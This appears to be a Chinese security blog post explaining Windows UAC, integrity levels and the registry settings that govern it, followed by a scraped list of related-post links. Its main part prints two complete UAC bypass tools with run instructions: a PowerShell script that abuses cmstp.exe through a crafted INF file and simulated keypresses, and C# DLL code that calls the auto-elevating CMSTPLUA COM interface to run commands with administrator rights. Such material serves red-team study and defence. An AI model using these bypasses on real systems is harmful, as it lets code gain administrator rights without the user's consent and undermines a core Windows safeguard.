1、什么是uac?

UAC 用于允许管理员用户不对每个执行的进程授予管理员权限这是作为管理员UAC提升执行,如果成功完成,特权令牌用于创建进程。

这里为了区分低权限高权限的进程,微软使用了强制性完整性控制MIC

MIC介绍

查看自己当前的完整性级别

whoami /groups


接下来我们以该级别创建一个文件

现在我们以管理员cmd给予test.txt最高的系统权限

可以看见我们对该文件是有FULL权限的,但是由于mic完整性校验控制

我们当前是中 level 所以 对高level的不能完全控制
也就是这里说的
Therefore, when a file has a minimum integrity level, in order to modify it you need to be running at least in that integrity level.
那我们如果将cmd.exe 的完整性校验改为高 他会自动以高权限运行吗
如下


这里我们就很明白了
Not all files and folders have a minimum integrity level, but all processes are running under an integrity level. And similar to what happened with the file-system, if a process wants to write inside another process it must have at least the same integrity level. This means that a process with low integrity level can’t open a handle with full access to a process with medium integrity level.
并非所有文件和文件夹都具有最低完整性级别,但所有进程都在完整性级别下运行。与文件系统发生的情况类似,如果一个进程想要在另一个进程内部写入,它必须至少具有相同的完整性级别。这意味着具有低完整性级别的进程无法打开对具有中等完整性级别的进程具有完全访问权限的句柄。

check list UAC

我们通过此条注册表查询UAC的情况 reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System 这里 EnableLUA 1为开启UAC 0为关闭UAC、

此外还需要注意此项

ConsentPromptBehaviorAdmin

我们一般遇到2和5

此外还需要注意
FilterAdministratorToken(这里解决了一直只知道uac不能普通管理员不能远程ipc执行命令 只有administrator可以的问题)

UAC-绕过手段

1、白名单机制bypassUAC 这里有狠多具体参考uacme这里我拿cmstp举例

参考代码

# UAC Bypass poc using SendKeys
# Version 1.0
# Author: Oddvar Moe
# Functions borrowed from: https://powershell.org/forums/topic/sendkeys/
# Todo: Hide window on screen for stealth
# Todo: Make script edit the INF file for command to inject...Function script:Set-INFFile {
[CmdletBinding()]Param ([Parameter(HelpMessage="Specify the INF file location")]$InfFileLocation = "$env:temp\CMSTP.inf",[Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")][String]$CommandToExecute = 'C:\Users\xxx\Desktop\uactest\artifact.exe')$InfContent = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
$CommandToExecute
taskkill /IM cmstp.exe /F[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""[Strings]
ServiceName="CorpVPN"
ShortSvcName="CorpVPN""@$InfContent | Out-File $InfFileLocation -Encoding ASCII
}Function Get-Hwnd
{[CmdletBinding()]Param([Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName)Process{$ErrorActionPreference = 'Stop'Try {$hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle}Catch {$hwnd = $null}$hash = @{ProcessName = $ProcessNameHwnd        = $hwnd}New-Object -TypeName PsObject -Property $hash}
}function Set-WindowActive
{[CmdletBinding()]Param([Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name)Process{$memberDefinition = @'[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);'@Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32$hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty HwndIf ($hwnd) {$onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)[User32.Api]::SetForegroundWindow($hwnd)[User32.Api]::ShowWindow($hwnd, 5)}Else {[string] $hwnd = 'N/A'}$hash = @{Process = $NameHwnd    = $hwnd}New-Object -TypeName PsObject -Property $hash}
}. Set-INFFile
#Needs Windows forms
add-type -AssemblyName System.Windows.Forms
If (Test-Path $InfFileLocation) {
#Command to run
$ps = new-object system.diagnostics.processstartinfo "c:\windows\system32\cmstp.exe"
$ps.Arguments = "/au $InfFileLocation"
$ps.UseShellExecute = $false#Start it
[system.diagnostics.process]::Start($ps)do
{# Do nothing until cmstp is an active window
}
until ((Set-WindowActive cmstp).Hwnd -ne 0)#Activate window
Set-WindowActive cmstp#Send the Enter key
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
}

然后运行

powershell -ExecutionPolicy bypass C:\Users\xxx\Desktop\uactest\usctest.ps1
powershell C:\Users\xxxx\Desktop\uactest\usctest.ps1

2、利用com组件提权
这里以ICMLuaUtil为例子
主要原理是
该方法原理在于调用COM组件中自动提权并且可以执行命令的接口。

using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;namespace UAC_comICM
{public class Class1{internal enum HRESULT : long{S_FALSE = 0x0001,S_OK = 0x0000,E_INVALIDARG = 0x80070057,E_OUTOFMEMORY = 0x8007000E}[StructLayout(LayoutKind.Sequential)]internal struct BIND_OPTS3{internal uint cbStruct;internal uint grfFlags;internal uint grfMode;internal uint dwTickCountDeadline;internal uint dwTrackFlags;internal uint dwClassContext;internal uint locale;object pServerInfo; // will be passing null, so type doesn't matterinternal IntPtr hwnd;}[Flags]internal enum CLSCTX{CLSCTX_INPROC_SERVER = 0x1,CLSCTX_INPROC_HANDLER = 0x2,CLSCTX_LOCAL_SERVER = 0x4,CLSCTX_REMOTE_SERVER = 0x10,CLSCTX_NO_CODE_DOWNLOAD = 0x400,CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,CLSCTX_NO_FAILURE_LOG = 0x4000,CLSCTX_DISABLE_AAA = 0x8000,CLSCTX_ENABLE_AAA = 0x10000,CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER}const ulong SEE_MASK_DEFAULT = 0x0;const ulong SW_SHOW = 0x5;[DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)][return: MarshalAs(UnmanagedType.Interface)]internal static extern object CoGetObject(string pszName,[In] ref BIND_OPTS3 pBindOptions,[In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);[DllExport]public static void BypassUAC(){Guid classId_cmstplua = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");// Interface IDGuid interfaceId_icmluautil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");ICMLuaUtil icm = (ICMLuaUtil)LaunchElevatedCOMObject(classId_cmstplua, interfaceId_icmluautil); ;icm.ShellExec(@"cmd.exe", string.Format("/c {0}", "calc"), @"C:\windows\system32\", SEE_MASK_DEFAULT, SW_SHOW);Marshal.ReleaseComObject(icm);}public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID){string CLSID = Clsid.ToString("B");string monikerName = "Elevation:Administrator!new:" + CLSID;BIND_OPTS3 bo = new BIND_OPTS3();bo.cbStruct = (uint)Marshal.SizeOf(bo);bo.hwnd = IntPtr.Zero;bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;object retVal = CoGetObject(monikerName, ref bo, InterfaceID);return (retVal);}[ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface ICMLuaUtil{//[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]//void QueryInterface([In, MarshalAs(UnmanagedType.LPStruct)] Guid riid, [In, Out] ref IntPtr ppv);//[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]//void AddRef();//[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]//void Release();void Method1();void Method2();void Method3();void Method4();void Method5();void Method6();HRESULT ShellExec([In, MarshalAs(UnmanagedType.LPWStr)] string file,[In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,[In, MarshalAs(UnmanagedType.LPWStr)] string directory,[In] ulong fMask,[In] ulong nShow);} }
}

这里由于必须使用rundll32.exe去拉取,不然会是系统不信任的进程 所以启动格式为rundll32.exe dll uac

修改PEB结构,欺骗PSAPI,调用COM组件ICMLuaUtil.shellexec去执行

参考如下

https://github.com/0xlane/BypassUAC/blob/master/BypassUAC_csharp/PEBMasq.cs https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/ https://3gstudent.github.io/%E9%80%9A%E8%BF%87COM%E7%BB%84%E4%BB%B6IFileOperation%E8%B6%8A%E6%9D%83%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6

好处就是不用调用rundll32.exe这种可信的文件
这里提供快速查找本机可利用com的手法
https://github.com/hfiref0x/UACME/tree/1e884d142a8063fc8e354191a8a5a86c57cb6854/Source/Yuubari

这里使用之前提到的cmstplua进行搜索3e5fc7f9-9a51-4367-9063-a120244fbec7可以看到Autoelevated COM objects 组件CMSTPLUA的信息。通过这种方式,我们可以把当前系统所有支持auto-elevate的COM组件以及应用全部都列出来

参考 https://cloud.tencent.com/developer/article/1623517 https://github.com/0xlane/BypassUAC/blob/master/BypassUAC_Dll_csharp/dllmain.cs https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/
0x02 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!

UAC绕过学习-总结相关推荐

  1. UAC绕过思路(未完)

    ---恢复内容开始--- What is UAC? 程序启动后,UAC的流程图: 如果关闭UAC,则程序会提权运行. Privilege Contents: 参考:https://msdn.micro ...

  2. ctf题目php文件上传如何绕过_ctf基本的文件上传与绕过学习

    绕过客户端校验前台脚本检测扩展名上传webs hell 原理: 当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何 消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前 ...

  3. 权限提升 T1548.002 绕过UAC

    ​1. 什么是 UAC 用户帐户控制 (UAC) 是 Windows Vista 和 Windows Server 2008 开始引入的一种访问控制功能.借助 UAC,应用和任务将始终在非管理员帐户的 ...

  4. 断点运行的参数_利用 AicLaunchAdminProcess 参数污染 bypass UAC

    本文作者:x-encounter(信安之路作者团队成员 & 信安之路病毒分析小组组长) 成员招募:信安之路病毒分析小组寻找志同道合的朋友 之前花了一段时间研究 UACME 这个开源项目,获益匪 ...

  5. 文件上传的各种绕过姿势

    文件上传绕过学习 做 ctf 的 web 方向常常遇到文件上传的题目,而且每题多少会有些不同. 于是搜集一番总结起来学习一下. 文件上传的校验 客户端 JavaScript 校验: 一般在 F12 源 ...

  6. Macro_Pack中的宏代码混淆方法分析

    宏混淆工具 Macro_Pack是一个用于自动化混淆及生成Office文档.VB脚本.快捷方式等文件的工具,其主要用于渗透测试.demo以及社会工程学评估.macro_pack的目标是简化利用流程,反 ...

  7. Powershell 渗透测试工具-Nishang

    Powershell 渗透测试工具-Nishang 分享到: 作者:V1ct0r 稿费:500RMB(不服你也来投稿啊!) 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 传送门 ...

  8. 斯坦福统计学习理论笔记:Percy Liang带你搞定「贼难」的理论基础

    选自 GitHub 机器之心整理 参与:刘晓坤.思源 CS229T/STAT231 是由斯坦福大学开设的统计学习理论课程,着重于对机器学习算法统计特性的理论理解,涉及机器学习算法何时起作用和原因.如何 ...

  9. Meterpreter重要命令与使用

    Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令.脚本及使用方式.包含信息收集.提权.注册表操作.令牌操纵.哈希利用.后门 ...

最新文章

  1. NetScaler的部署实验之二NetScaler的传输环路值的设定
  2. proc文件系统探索 之 根目录下的文件[三]
  3. MySQL如何利用索引优化ORDER BY排序语句
  4. java 抽象类 模板_Java抽象类的构造模板模式用法示例
  5. C++:不同数据类型作为参数传递和作为返回值的例子
  6. VIM查看空格,换行,TAB键
  7. Zabbix监控系统深度实践
  8. mysql的可视化工具_Mysql可视化工具Navicat的基本使用
  9. bt 介绍以及 bt 种子的hash值(特征值)计算
  10. 钢琴音源 Native Instruments Definitive Piano Collection
  11. 将OpenGL渲染的结果保存为图片
  12. 今日新闻简报 十二条微语早报 每天一分钟 知晓天下事 3月2日
  13. 220609_Efficient Uncertainty-aware Decision-making for Automated Driving Using Guided Branching
  14. ppt中如何插入页码(如何从第二页插入页码?)
  15. 面试题(一)- 谈谈你对数据库中索引的理解
  16. ubuntu 20.04安装cuda
  17. 通过搜索引擎快速寻找漏洞
  18. c语言程序设计勘误,《程序设计基础教程(C语言)》勘误表
  19. 微信王者抢先服是什么服务器,王者荣耀抢先服是什么?王者荣耀抢先服介绍
  20. [旧博客]QQ旋风加速漏洞

热门文章

  1. 上海市区广场、商场、大厦中英文对照大全
  2. iOS 接入 招商 一网通的 各种坑
  3. opencv的逻辑运算bitwise详解
  4. 猜大小(python)
  5. python钉钉机器人发送excel附件_python调用钉钉机器人发送消息
  6. Texi2Html中文输出版
  7. 二维泊松方程数值解-五点差分法-共轭梯度法-python实现
  8. win10休眠_硬派玩家 | Win 10关机速度变慢?这还真不是错觉
  9. matlab 共轭,求解线性方程组 - 双共轭梯度法
  10. 用axure做产品需求文档